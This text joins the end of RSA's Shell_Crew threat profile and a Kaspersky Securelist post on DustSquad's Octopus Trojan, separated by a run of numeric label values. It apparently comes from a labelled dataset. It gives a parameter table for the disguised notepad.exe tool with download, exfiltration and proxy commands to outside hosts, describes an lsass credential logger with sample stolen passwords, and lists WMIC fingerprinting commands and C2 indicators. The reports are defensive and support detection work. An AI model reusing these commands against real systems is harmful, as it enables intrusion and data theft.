built-in C2 address, however the code does support this feature. This tool requires arguments to be passed to it in order to perform activities. One of the most commonly used commands by the adversary was the proxy like functionality of this tool as show below in Figure 38. Figure 38: Common usage of notepad.exe In this example, the proxy functionality of notepad.exe allowed the adversary to proxy their traffic to the external site \xe2\x80\x9cupload.msdnblog.com\xe2\x80\x9d through internal IP address 10.192.59.10 on port 80. Figure 39: File details of notepad.exe File Name: notepad.exe File Size: 186880 bytes MD5: 985abc913a294c096718892332631ec9 SHA1: a0d2cb07842813ebcbf31e30895887740f01f5d7 PE Time: 0x4F3E6880 [Fri Feb 17 14:47:28 2012 UTC] PEID Sig: Microsoft Visual C# / Basic .NET PEID Sig: .NET executable compressor Sections (3): Name Entropy MD5 .text 5.56 ab3d5c3c7dc3548585a8182ab8720f03 .rsrc 4.16 b5167609962c7d22da2e6e7aa7259e84 .reloc 0.1 2691c06804eb4834bdcf32c2e02ba33c c:\\dell\\notepad.exe /f sh /x 10.192.59.10 /y 80 /s upload.msdnblog.com /p 443 RSA Incident Response Page 29 RSA Emerging Threat Profile: Shell_Crew In order to decompile notepad.exe, the code was deobfuscated using a publicly available tool called \xe2\x80\x9cde4dot\xe2\x80\x9d. Once the code had been deobfuscated, notepad.exe could be decompiled for analysis using the tool \xe2\x80\x9cReflector\xe2\x80\x9d. The RSA IR team was able to review the functionality of this tool and a complete list of the available parameters is provided in Table 3. During testing it was found that when this file was executed with no arguments, the tool performs the following actions: 1. The tool would hash the string \xe2\x80\x9calice'srabbithole\xe2\x80\x9d (MD5: 75BAA77C842BE168B0F66C42C7885997) 2. The tool then checks if the resource shown in Figure 40 starts with the hash value obtained in step 1 (in this case there is a match). Figure 40: Resource of notepad.exe 3. If the result of step 2 is true, the Trojan exits without doing anything else. It is in this resource that the Trojan would otherwise find an IP address and port number to connect. The resource would have the format shown in Figure 41: Figure 41: Notepad.exe - built in C2 data structure The first two bytes of the resource will be a hexadecimal value representing the length of the Base64 encoded data that follows. The obfuscated data is first Base64 decoded, then XOR-ed with 0xAA. The obfuscated data is meant to be an IP address followed by a port number, separated by a colon \xe2\x80\x9c:\xe2\x80\x9d. The following figure shows the functions from the code. Figure 42: C2 obfuscation in notepad.exe RSA Incident Response Page 30 RSA Emerging Threat Profile: Shell_Crew This tool can be executed in various ways depending on the arguments provided. Table 3 shows a complete this of the discovered parameters. Notepad.exe arguments Purpose Sample Output /f v Version info 2 2.0.887.1303 /f dl /url http://www.bad.com/trojan.jpg /file test.exe Download file. No obfuscation. GET /trojan.jpg HTTP/1.1 Host: www.bad.com Connection: Keep-Alive /f ul /url http://www.bad.com/exfil.txt /file exfil.txt Upload a file. No obfuscation POST /exfil.txt HTTP/1.1 Content-Type: multipart/form-data; boundary=--------------------- 8d02564845381fa Host: www.bad.com Content-Length: 218 Connection: Keep-Alive -----------------------8d02564845381fa Content-Disposition: form-data; name=""file""; filename=""exfil.txt"" Content-Type: application/octet-stream THIS IS MY SENSITIVE DATA -----------------------8d02564845381fa-- /f sh /x 192.168.1.1 /y 80 /s 10.10.10.1 /p 666 /u username /w password HTTP proxy connect. CONNECT 10.10.10.1:666 HTTP/1.0 Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ= [Actual adversary command: /f sh /x 10.19.59.10 /y 80 /s upload.msdnblog.com /p 443] /f sh /l /p 666 Listener mode When a client connects: 03 01 74 80 0e d1 3b 4e 0c db 33 00 02 00 00 00 77 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 /f d /t exfil.txt File info Name=exfil.txt Length=25 DirectoryName=C:\\MALWARE Directory={ } IsReadOnly=False Exists=True FullName=C:\\MALWARE\\exfil.txt Extension=.txt CreationTime=5/23/2013 CreationTimeUtc=5/23/2013 LastAccessTime=5/23/2013 LastAccessTimeUtc=5/23/2013 LastWriteTime=5/23/2013 LastWriteTimeUtc=5/23/2013 Attributes=Archive notepad.exe /f cl /p directory /m pattern regex options Clean files and time stomp Replace pattern on file in specified folder and time stomp back to original file timestamp. /f tu /p test /m *tampered* /r c:\\windows\\explorer.exe Time stomp file Match files with name \xe2\x80\x9ctampered\xe2\x80\x9d in directory test and change CMA timestamps to match those of reference file \xe2\x80\x9c/r\xe2\x80\x9d. If \xe2\x80\x9c/r\xe2\x80\x9d argument is not specified or if file is not found set to 11-30-2005 12:00PM UTC. /f ra /ru /rd /rp /wp arguments RunAs command ru \xe2\x80\x93 username rd \xe2\x80\x93 domain name rp \xe2\x80\x93 password wp \xe2\x80\x93 with profile /iu /id /ip Impersonate user iu \xe2\x80\x93 username id \xe2\x80\x93 domain name ip \xe2\x80\x93 password RSA Incident Response Page 31 RSA Emerging Threat Profile: Shell_Crew Notepad.exe arguments Purpose Sample Output /f rs Impersonate user /f wmi Windows Management Instrumentation commands s \xe2\x80\x93 system u \xe2\x80\x93 username p \xe2\x80\x93 password a \xe2\x80\x93 Kerberos impersonation level m \xe2\x80\x93 WMI command: - query \xef\x83 run WMI query - call \xef\x83 call WMI - get \xef\x83 [no logic to do anything] Table 3: notepad.exe functionality 2. Credential Logger On a compromised Windows system, credentials can be harvested in a variety of ways: \xef\x82\xb7 Hash Dumping \xef\x82\xb7 Keystroke logging \xef\x82\xb7 MSGINA man-in-the middle \xef\x82\xb7 Hooking Authentication Functions One such example that was observed during a recent engagement was a DLL file that Shell_Crew had injected into the lsass.exe process of a server to harvest credentials. The characteristics of this DLL file are shown in Figure 43. Figure 43: Details of the file xmlobj.dll Once this DLL is injected into the lsass.exe process, it hooks the LsaApLogonUserEx2 function of msv1_0.dll. This function is called during various authentication situations such as interactive or network logons, including when the RunAs option is used. All credentials are saved in plaintext under: c:\\windows\\system32\\desktop.ini. A sample of harvested credentials that would be stored in the desktop.ini file is shown in Figure 44. File Name: xmlobj.dll File Size: 20480 bytes MD5: 90eddad3327a63fdea924fb802bc7dc5 SHA1: ecd9f328d119a82718634700f0e1fd5f19e9b08c PE Time: 0x4F908F71 [Thu Apr 19 22:19:29 2012 UTC] PEID Sig: Microsoft Visual C++ v6.0 DLL Sections (4): Name Entropy MD5 .text 4.21 445cb9843ec80eb2465a099f63fcdf0a .rdata 1.04 f8e9796e79523ae3980491e67e33521d .data 0.37 b77c7f741344e8c0326394129484cf5b .reloc 0.61 1373d7f72c5ca95a4bc001b04e4dc710 RSA Incident Response Page 32 RSA Emerging Threat Profile: Shell_Crew Figure 44: Sample of harvested credentials Domain: mydomain UserID: administrator Passwd: P@ssword12 Domain: mydomain UserID: john Passwd: NewYear2013 RSA Incident Response Page 33 RSA Emerging Threat Profile: Shell_Crew Detection, Mitigation, and Remediation The below sections outline information and detection capabilities that can assist with identification of activity or tools associated with Shell_Crew. Additionally, the RSA IR Team has included a digital appendix along with this report that contains content that can be integrated into Security Analytics, the Enterprise Compromise Assessment Tool (ECAT), or other security tools for rapid detection and visibility of indicators associated with Shell_Crew within an enterprise environment. 1. General Forensic Footprints \xef\x82\xb7 On multiple cases Shell_Crew has been seen breaching a network by exploiting vulnerable applications on external facing servers. Web server logs, if available, can reveal the intrusion vector. \xef\x82\xb7 Shell_Crew has a preference for storing files in the C:\\Recycler folder, or in other standard folders one level deep from the root, such as the C:\\Dell, c:\\i386, or C:\\Reboot folders. Sometimes tools or Trojans have also been found at the root of the C: drive. \xef\x82\xb7 In addition to connecting to remote systems, copying files, and scheduling jobs to execute them, Shell_Crew has a preference for lateral movement using RDP. Additionally, they\xe2\x80\x99ve used the Sysinternals tool psexec.exe to execute a file remotely, sometimes automated via a VBS script. \xef\x82\xb7 Performing forensic analysis on a compromised system\xe2\x80\x99s registry hive (focusing on the Application Compatibility Cache) can yield numerous artifacts related to Shell_Crew\xe2\x80\x99s activity. \xef\x82\xb7 Using a tool like ECAT, metadata about malicious files and code can be rapidly located throughout an enterprise allowing responders to focus on relevant systems. Host based signatures can be used in conjunction with this methodology to allow for improved efficiency. The Yara signatures listed below are currently used by the RSA IR Team to locate some malicious files specific to this group. A tool like ECAT can utilize these signatures to scan memory of systems across a network. \xef\x82\xb7 If the adversary registers any Dlls with IIS, these should be unregistered when they are removed from the compromised system. Similarly any altered files, like System.web.dll, should be deleted and replaced with a clean copy of the original Microsoft file. \xef\x82\xb7 Data theft by Shell_Crew typically involves use of the WinRAR utility using encrypted and password protected rar files. Here are some password seen used by Shell_Crew: - www.google.com - www.google.com!123 - fuckalnt76yiuudg 2. Security Analytics Integration Parsers While standard network signatures will detect some of the Trojans and tools used by Shell_Crew, the Trojan.Derusbi samples detailed in this report were designed to avoid detection by employing a proprietary handshake derived from pseudorandom values dynamically calculated at runtime. The digital appendix provided with this report contains several Security Analytics parsers that can assist in the detection of these Trojan.Derusbi handshakes and additional variants related to these samples. Once enabled, these parsers will generate meta entitled \xe2\x80\x9cderusbiserver_handshake\xe2\x80\x9d or \xe2\x80\x9cderusbi_variant\xe2\x80\x9d in the Risk.Warning category within Security Analytics. RSA Incident Response Page 34 RSA Emerging Threat Profile: Shell_Crew Feeds Also included within the digital appendix are feeds that can be imported into Security Analytics for detection of potential Shell_Crew activity. These feeds will alert users if there are any machines on the network communicating with malicious IP Addresses or URLs linked to Shell_Crew identified domains or IP\xe2\x80\x99s within this report. Once enabled, these feeds will generate meta entitled \xe2\x80\x9cderusbi_domain_sep201\xe2\x80\x9d3 or \xe2\x80\x9cderusbi_ip_sep2013\xe2\x80\x9d in the Risk.Warning category within Security Analytics. 3. ECAT Integration The hashes that are referenced in the Malicious Files and Tools section of this report are also available in the digital appendix. The format of the files in the digital appendix can be imported directly into ECAT to begin looking for the hashes across systems within the environment. By default, ECAT is also able to detect some of the malicious behavior that is exhibited by the samples detailed in this report. The below examples are provided to demonstrate how potential Shell_Crew activity can be identified using standard analysis capabilities via the ECAT Server. Figure 45 is a screenshot where ECAT detected a suspicious outbound connection. The screen shot depicts the attempted connections of the Trojan.Derusbi sample that was detailed earlier in this report. With this information, ECAT can be used to quickly determine if any other systems on the network had executable files that were actively beaconing to the same location. Figure 45: ECAT detects a suspicious outbound connection The same malicious file seen above was also flagged as suspicious by ECAT because it was entrenched in an \xe2\x80\x98autorun\xe2\x80\x99 location within the system\xe2\x80\x99s registry. The screen shot in Figure 46 below depicts the alert provided by ECAT. Figure 46: Alert sent by ECAT Additionally, the RSA IR Team observed that Shell_Crew will time stomp (alter a files Created Date and Time Stamp) to hinder forensic analysis. By default, ECAT has the ability to parse a system\xe2\x80\x99s MFT and display both the File Name Attribute information and Standard Information Attribute for a file. The screen shot below shows an instance where the files had been time stomped. The files were purportedly created on the compromised systems in 2005, when in actuality they had been placed on the systems in 2012. RSA Incident Response Page 35 RSA Emerging Threat Profile: Shell_Crew Figure 47: MFT File Viewer in ECAT 4. Yara Signatures The RSA IR Team uses Yara Signatures like the ones provided in the digital appendix to detect malicious files present on systems and running in memory. They\xe2\x80\x99re also used to detect new variants that are being tested by adversaries using open source tools like VirusTotal. The RSA IR Team has observed that Shell_Crew will submit numerous samples of a Trojan family to VirusTotal in an attempt to determine which AV vendors will detect the malicious files. Shell_Crew will make small changes to the code and how the binary is compiled until a particular AV vendor does not detect the sample. Detecting these variants using Yara Signatures allows the RSA IR Team to update and alter signatures, analyze new variants, and become aware of new C2 nodes before the samples are used against targeted organizations. This information is then added to existing content in Security Analytics and ECAT. Figure 48 is a graph that depicts where variants of a sample were submitted numerous times, each time being detected by different AV products. Figure 48: Malware sample testing 5. Hash Set, IPs, Domains All hashes, IP Addresses, and domains discussed within this report as associated with Shell_Crew can be found in the attached Digital Appendix. 0 2 4 6 8 10 12 D e te ct io n R a ti o Submission Time RSA Incident Response Page 36 RSA Emerging Threat Profile: Shell_Crew Conclusion This report detailed techniques and tools that are frequently used by an advanced adversary being referred to by the RSA IR Team as Shell_Crew. The information delivered in this report was provided so organizations can turn the data into actionable intelligence, for detection or prevention of this advanced threat. As of the date of this report, Shell_Crew continues to be a formidable threat group that is actively attacking organizations. In instances where Shell_Crew has already breached an organization, the RSA IR Team has observed that the adversary will aggressively attempt to regain a foothold once their Trojans have been eradicated and communication channels severed. If any of their existing backdoors or Web shells remain active in the environment, Shell_Crew will begin to redeploy other tiers of malware that communicate through different channels, which may use different protocols and obfuscation techniques. The RSA IR Team has observed instances where Shell_Crew has persisted in enterprises for years before they are detected. During that time, Shell_Crew updated or replaced existing malicious backdoors, continued to map the enterprise while installing Web shells or poisoning existing web pages, and performed internal reconnaissance of victims to determine what AV and security products are being deployed in these environments. These tenacious approaches make it difficult for an under resourced internal security team to detect, and furthermore, eradicate this adversary. The RSA IR Team will continue to track the TTPs used by this group and distribute information about this and other adversaries. The information that is provided in the digital appendix and throughout the report can be ingested directly into RSA products or used agnostically with other products. If you have any questions about this emerging threat profile or the RSA Incident Response Team, please send an email to FirstResponse@rsa.com or contact your RSA Account Representative. mailto:FirstResponse@rsa.com RSA Incident Response Page 37 RSA Emerging Threat Profile: Shell_Crew Appendix 1 \xe2\x80\x93 Trojan.Derusbi Variants The below images illustrate the different relationships between the Trojan.Derusbi samples that were listed in the Malicious Files Section. The XOR keys in blue, were used to decode the Configuration data that is used by the sample. The XOR keys in red were used to decode the embedded driver files. Figure 49: Trojan.Derusbi Variants Mutex Overlap RSA Incident Response Page 38 RSA Emerging Threat Profile: Shell_Crew Figure 50: Trojan.Derusbi variants XOR key overlap RSA Incident Response Page 39 RSA Emerging Threat Profile: Shell_Crew Figure 51: Trojan.Derusbi variants XOR key overlap RSA Incident Response Page 40 RSA Emerging Threat Profile: Shell_Crew Figure 52: Trojan.Derusbi variants XOR key overlap RSA Incident Response Page 41 RSA Emerging Threat Profile: Shell_Crew Appendix 2 \xe2\x80\x93 Trojan.Notepad Illustration The illustration below shows relationships between the Trojan.Notepad samples that were listed in the Malicious Files/Tools Section. These samples are grouped by file description. Figure 53: Relationships between Trojan.Notepad samples RSA Incident Response Page 42 RSA Emerging Threat Profile: Shell_Crew H12756 Digital Appendix - Details Below is a list of the files and folders contained within the ShellCrew_Digital_Appendix. All content should be tested before full integration into SA, ECAT, or 3 rd party tools to prevent any adverse effects from unknown environmental variables. ShellCrew_Digital_Appendix.zip File Hash: 4e324ffae9ce8688bdb2f569274dff7c ShellCrew_Digital_Appendix.zip Contents: \xef\x82\xb7 ECAT_Blacklist (Folder containing ECAT Hash Import) o Derusbi_Notepad.xml \xef\x82\xb7 feeds folder (Folder containing SA feeds, Shell_Crew Domains and IPs) o Derusbi_Domain.feed o Derusbi_Domain.csv (List of Shell_Crew Domains) o derusbi_domain.xml o Derusbi_IP.feed o Derusbi_IP.txt (List of Shell_Crew IPs) o derusbi_ip.xml \xef\x82\xb7 parsers folder (Folder containing SA parsers) o derusbi_server.lua (Parser for Derusbi Handshake) o derusbi_variant.parser (Parser for Derusbi variant beaconing) \xef\x82\xb7 ShellCrewHashset.md5 file (List of Shell_Crew File/Tool Hashes) \xef\x82\xb7 yara folder (Folder containing Yara sigs) o Shell_Crew.yara For any questions or issues deploying the Security Analytics or ECAT content into your environment, please contact RSA Support.","0","1","0","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Octopus-infested seas of Central Asia | Securelist Solutions for: Home Products Small Business 1-50 employees Medium Business 51-999 employees Enterprise 1000+ employees Kaspersky CompanyAccount Get In Touch Solutions Endpoint SecurityLearn More Hybrid Cloud SecurityLearn More Internet of Things & Embedded SecurityLearn More Threat Management and DefenseLearn More Industrial CybersecurityLearn More Fraud PreventionLearn More Industries National CybersecurityLearn More Industrial CybersecurityLearn More Finance Services CybersecurityLearn More Healthcare CybersecurityLearn More Transportation CybersecurityLearn More Retail CybersecurityLearn More Other Industries Telecom Cybersecurity View all Products KasperskyEndpoint SecurityLearn More KasperskyEndpoint Detection and ResponseLearn More KasperskyHybrid Cloud SecurityLearn More KasperskyAnti Targeted Attack PlatformLearn More KasperskyPrivate Security NetworkLearn More KasperskyEmbedded Systems SecurityLearn More Other Products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View All Services KasperskyCybersecurity ServicesLearn More KasperskySecurity AwarenessLearn More KasperskyPremium SupportLearn More KasperskyThreat IntelligenceLearn More KasperskyThreat HuntingLearn More KasperskyIncident ResponseLearn More Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View All Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR Menu Securelist English English P\xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 Deutsch Fran\xc3\xa7ais Italiano Espa\xc3\xb1ol Polski Threats Mobile threats Secure environment (IoT) Financial threats Spam and phishing Industrial threats Vulnerabilities and exploits Web threats Categories APT reports Research Incidents Security Bulletin Publications Malware reports Spam and phishing reports All categories Tags Ransomware Targeted Attacks Botnets Internet Banking Mobile Malware Social Engineering Malware Statistics Show all tags Statistics Encyclopedia Descriptions Solutions for: Home Users Products KasperskyTotal Security KasperskyInternet Security KasperskyAnti-Virus KasperskyInternet Security for Mac Kaspersky Internet Security for Android KasperskySecure Connection Free Tools Kaspersky Safe Kids Kaspersky Password Manager Kaspersky Software Updater View more Renew Downloads Support Resource Center My Kaspersky My Devices My Products / Subscriptions My Orders Small Business(1-50 employees) Products KasperskySmall Office Security KasperskyEndpoint Security Cloud KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced Renew Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR KSOS Portal Medium Business(51-999 employees) Products KasperskyEndpoint Security Cloud KasperskySecurity for Office 365 KasperskyEndpoint Security for Business Select KasperskyEndpoint Security for Business Advanced KasperskySecurity for Business Total KasperskyPhysical, Virtual & Cloud Workloads Security TARGETED SECURITY SOLUTIONS Mail Server File Server Mobile Internet Gateway Virtualization and Hybrid Cloud Collaboration Vulnerability and Patch Management Storage View More Services Downloads Support Resource Center Insights Products & Solutions Customer Stories Awards & Recognition Technology GDPR CompanyAccount Enterprise(1000+ employees) Solutions Endpoint Security Hybrid Cloud Security Internet of Things & Embedded Security Threat Management and Defense Industrial Cybersecurity Fraud Prevention Industries National Cybersecurity Industrial Cybersecurity Finance Services Cybersecurity Healthcare Cybersecurity Transportation Cybersecurity Retail Cybersecurity Other industries Telecom Cybersecurity View all Products KasperskyEndpoint Security KasperskyEndpoint Detection and Response KasperskyHybrid Cloud Security KasperskyAnti Targeted Attack Platform KasperskyPrivate Security Network KasperskyEmbedded Systems Security Other products Kaspersky Security for Mail Server Kaspersky DDoS Protection Kaspersky Mobile Security Kaspersky Security for Storage View all Services KasperskyCybersecurity Services KasperskySecurity Awareness KasperskyPremium Support KasperskyThreat Intelligence KasperskyThreat Hunting KasperskyIncident Response Other Services Kaspersky Professional Services Kaspersky Security Assessment Kaspersky Security Training Kaspersky Advanced Cyber Incident Communications View all Resource Center Case Studies White Papers Datasheets Technologies Contact Us GDPR CompanyAccount Securelist Threats Financial threats Mobile threats Web threats Secure environment (IoT) Vulnerabilities and exploits Spam and Phishing Industrial threats Categories APT reports Incidents Research Malware reports Spam and phishing reports Kaspersky Security Bulletin Publications Tags Ransomware Botnets Mobile Malware Social Engineering Targeted Attacks Malware Statistics All Tags Statistics Encyclopedia Descriptions Partners Partners Find a Partner Affiliate Technology Whitelist Program About Us About Us Company Team Transparency Transparency Center Policy Blog Corporate News Press Center Careers Incubator Sponsorships APT reports Octopus-infested seas of Central Asia Russian-language actor exploits hype over Telegram ban in Central Asia By GReAT on October 15, 2018. 10:00 am For the last two years we have been monitoring a Russian-language cyberespionage actor that focuses on Central Asian users and diplomatic entities. We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware. In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities. The name was originally coined by ESET in 2017 after the 0ct0pus3.php script used by the actor on their old C2 servers. We also started monitoring the malware and, using Kaspersky Attribution Engine based on similarity algorithms, discovered that Octopus is related to DustSquad, something we reported in April 2018. In our telemetry we tracked this campaign back to 2014 in the former Soviet republics of Central Asia (still mostly Russian-speaking), plus Afghanistan. In the case of Octopus, DustSquad used Delphi as their programming language of choice, which is unusual for such an actor. Among others exceptions are the Russian-language Zebrocy (Sofacy\xe2\x80\x99s Delphi malware), the Hindi-language DroppingElephant and the Turkish-language StrongPity. Although we detected Octopus victims that were also infected with Zebrocy/Sofacy, we didn\xe2\x80\x99t find any strong similarities and we don\xe2\x80\x99t consider the two actors to be related. What happened? In April 2018 we discovered a new Octopus sample pretending to be Telegram Messenger with a Russian interface. We couldn\xc2\xb4t find any legitimate software that this malware appears to be impersonating; in fact, we don\xc2\xb4t believe it exists. The Trojan uses third-party Delphi libraries like The Indy Project for JSON-based C2 communications and TurboPower Abbrevia (sourceforge.net/projects/tpabbrevia) for compression. Malware persistence is basic and achieved via the system registry. The server side uses commercial hosting in different countries with .php scripts deployed. Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen. For more information, please contact: intelreports@kaspersky.com. Technical details The attackers used the potential Telegram ban in Kazakhstan to push its dropper as an alternative communication software for the political opposition. \xe2\x80\x98Telegram messenger\xe2\x80\x99 establishes network module persistence in the simplest way and starts the module We can\xe2\x80\x99t confirm how this malware is being distributed, although it clearly uses some form of social engineering. This actor previously used spear phishing to spread malware. Dropper MD5 hash 979eff03faeaeea5310df53ee1a2fc8e Name dvkmailer.zip Archive contents d6e813a393f40c7375052a15e940bc67 CsvHelper.dll Legit .NET CSV files parser 664a15bdc747c560c11aa0cf1a7bf06e Telegram Messenger.exe Persistence and launcher 87126c8489baa8096c6f30456f5bef5e TelegramApi.dll Network module d41d8cd98f00b204e9800998ecf8427e Settings.json Empty Launcher MD5 hash 664a15bdc747c560c11aa0cf1a7bf06e File name Telegram Messenger.exe PE timestamp 2018.03.18 21:34:12 (GMT) Linker version 2.25 (Embarcadero Delphi) Before any user interaction, inside the FormCreate() function the launcher checks for a file named TelegramApi.dll in the same directory. If it exists, the launcher copies the network module to the startup directory as Java.exe and runs it. Delphi Visual Component Library (VCL) programs are based on event handlers for form elements. Such programs are extremely large (about 2.6 MB and 12,000 functions), but all this code is mostly used to handle the visual components and run-time libraries. There are only three programmer-defined handlers for controlling elements inside the Octopus launcher. Function name Functionality FormCreate() Runs as constructor before any user activity. Makes the network module persistent via Startup directory and runs it Button1Click() Shows the explorer dialog window to choose the \xe2\x80\x9cmailing file\xe2\x80\x9d DateTimePicker1Click() Shows calendar to select the \xe2\x80\x9cmailing date\xe2\x80\x9d There is no handler for the \xe2\x80\x98Send mailing\xe2\x80\x99 button, so the launcher pretends to be an alternative communicator that in reality does nothing. This may be because the malware is still unfinished \xe2\x80\x93 after all, messages sent through it could be of value to the attackers. However, we believe it is more likely that the malware was created in a hurry and the attackers decided to skip any communication features. Network module C2 communication scheme MD5 hash 87126c8489baa8096c6f30456f5bef5e File name TelegramApi.dll PE timestamp 2018.02.06 11:09:28 (GMT) Linker version 2.25 (Embarcadero Delphi) Despite the file extension, this network module is a self-sufficient portable executable file and not a dynamic-link library. The first sample checks for files with names like 1?????????.* in the user\xe2\x80\x99s temporary folder and deletes any files it finds. Then it creates .profiles.ini in the Application Data directory where the malware stores its log. HTTP request Response GET /d.php?check JSON \xe2\x80\x9cok\xe2\x80\x9d GET /d.php?servers JSON domain name GET /i.php?check= JSON \xe2\x80\x9cok\xe2\x80\x9d POST /i.php?query= JSON response code or command depends on POST data First stage .php script to check connection and get C2 domain name All network modules consist of hardcoded IP addresses belonging to commercial web-hosting services based in different countries. The operators simply deploy their first-stage .php script in them, which will check the connection and get the actual C2 server domain name using an HTTP GET request. After the initial connection check, the malware receives a JSON with the actual C2 domain name Then the network module checks against the hardcoded victim\xe2\x80\x99s id The network module checks against a 32-digit hardcoded victim id and sends the gathered data to the C2 using a HTTP POST request. In terms of programming, this id is strange, because the malware simultaneously \xe2\x80\x98fingerprints\xe2\x80\x99 its victim with an MD5 hash of its system data. JSON-based gathered data sent in a HTTP POST base64-encoded request All communication with the C2s is based on JSON-formatted data and the HTTP protocol. For that, the developers used The Indy Project (indyproject.org) publicly available library as well as the third-party TurboPower Abbrevia (sourceforge.net/projects/tpabbrevia) for compression. After all the initial HTTP GET requests, the malware starts to gather JSON-formatted system data. For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc. One interesting field is \xe2\x80\x9cvr\xe2\x80\x9d:\xe2\x80\x9d2.0\xe2\x80\xb3 which appears to be the malware version encoded in the communication protocol. The \xe2\x80\x98id\xe2\x80\x99 field is the victim\xe2\x80\x99s fingerprint for which the malware actively uses the Windows Management Instrumentation mechanism. The Trojan runs WMIC.exe with the following arguments: C:\\WINDOWS\\system32\\wbem\\WMIC.exe computersystem get Name /format:list C:\\WINDOWS\\system32\\wbem\\WMIC.exe os get installdate /format:list C:\\WINDOWS\\system32\\wbem\\WMIC.exe path CIM_LogicalDiskBasedOnPartition get Antecedent,Dependent Then the module concatenates the gathered ids and computes an MD5 hash, which will be the victim\xe2\x80\x99s final id. The \xe2\x80\x9cact\xe2\x80\x9d field numbers the communication stage (0 for initial fingerprinting). After this, the HTTP POST control server returns a JSON {\xe2\x80\x9crt\xe2\x80\x9d:\xe2\x80\x9d30\xe2\x80\xb3} and the client continues with the next \xe2\x80\x9cact\xe2\x80\x9d in the HTTP POST: At this point the C2 sends a JSON with commands to execute, including uploading/downloading files, taking a screenshot and finding *.rar archives on the host. Other software Besides the Trojan itself, the Octopus developers used the password dumping utility fgdump. Infrastructure MD5 hash IPs C2 domain 87126c8489baa8096c6f30456f5bef5e 185.106.120.27 204.145.94.10 porenticofacts.com ee3c829e7c773b4f94b700902ea3223c 38f30749a87dcbf156689300737a094e 185.106.120.240 204.145.94.101 certificatesshop.com 6e85996c021d55328322ce8e93b31088 5.188.231.101 103.208.86.238 blondehairman.com 7c0050a3e7aa3172392dcbab3bb92566 5.8.88.87 103.208.86.237 latecafe.in 2bf2f63c927616527a693edf31ecebea 85.93.31.141 104.223.20.136 hovnanflovers.com d9ad277eb23b6268465edb3f68b12cb2 5.188.231.101 103.208.86.238 blondehairman.com The most recent samples (2017-2018) of hardcoded IPs and web domains obtained from the .php script Conclusions Political entities in Central Asia have been targeted throughout 2018 by different actors, including IndigoZebra, Sofacy (with Zebrocy malware) and most recently by DustSquad (with Octopus malware). Interestingly, we observed some victims who are \xe2\x80\x98threat magnets\xe2\x80\x99 targeted by all of them. From our experience we can say that the interest shown by threat actors in this region is now high, and the traditional \xe2\x80\x98players\xe2\x80\x99 have been joined by relative newcomers like DustSquad that have sprung up locally. Indicators of compromise File hashes 87126c8489baa8096c6f30456f5bef5e ee3c829e7c773b4f94b700902ea3223c 38f30749a87dcbf156689300737a094e 6e85996c021d55328322ce8e93b31088 7c0050a3e7aa3172392dcbab3bb92566 2bf2f63c927616527a693edf31ecebea d9ad277eb23b6268465edb3f68b12cb2 Domains and IPs 85.93.31.141 104.223.20.136 5.8.88.87 103.208.86.237 185.106.120.240 204.145.94.101 5.188.231.101 103.208.86.238 185.106.120.27 204.145.94.10 hovnanflovers.com latecafe.in certificatesshop.com blondehairman.com porenticofacts.com Auxiliary URLs to upload/download files: www.fayloobmennik.net/files/save_new.html http://uploadsforyou.com/download/ http://uploadsforyou.com/remove/ The following are old indicators of compromise no longer used by this actor, but which can be used for forensic purposes: 031e4900715564a21d0217c22609d73f 1610cddb80d1be5d711feb46610f8a77 1ce9548eae045433a0c943a07bb0570a 3a54b3f9e9bd54b4098fe592d805bf72 546ab9cdac9a812aab3e785b749c89b2 5cbbdce774a737618b8aa852ae754251 688854008f567e65138c3c34fb2562d0 6fda541befa1ca675d9a0cc310c49061 73d5d104b34fc14d32c04b30ce4de4ae 88ad67294cf53d521f8295aa1a7b5c46 a90caeb6645b6c866ef60eb2d5f2d0c5 ae4e901509b05022bbe7ef340f4ad96c ca743d10d27277584834e72afefd6be8 ce45e69eac5c55419f2c30d9a8c9104b df392cd03909ad5cd7dcea83ee6d66a0 e149c1da1e05774e6b168b6b00272eb4 f625ba7f9d7577db561d4a39a6bb134a fc8b5b2f0b1132527a2bcb5985c2fe6b f7b1503a48a46e3269e6c6b537b033f8 4f4a8898b0aa4507dbb568dca1dedd38 First stage .php script placed at: 148.251.185.168 185.106.120.46 185.106.120.47 46.249.52.244 5.255.71.84 5.255.71.85 88.198.204.196 92.63.88.142 Domains returned by .php script: giftfromspace.com mikohanzer.website humorpics.download desperados20.es prom3.biz.ua APT Cyber espionage Dropper Russian-speaking cybercrime Targeted Attacks Share post on: Facebook Twitter Related Posts Threats to macOS users Incident Response report 2018 IT threat evolution Q2 2019 There is 1 comment Amin Posted on October 18, 2018. 3:59 pm Very good . I liked this information. Reply Leave a Reply Cancel Reply Your email address will not be published. Required fields are marked * Name * Email * Save my name, email, and website in this browser for the next time I comment. \xc2 Notify me when new comments are added. \xc2 In the same category Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities GreyEnergy\xe2\x80\x99s overlap with Zebrocy A Zebrocy 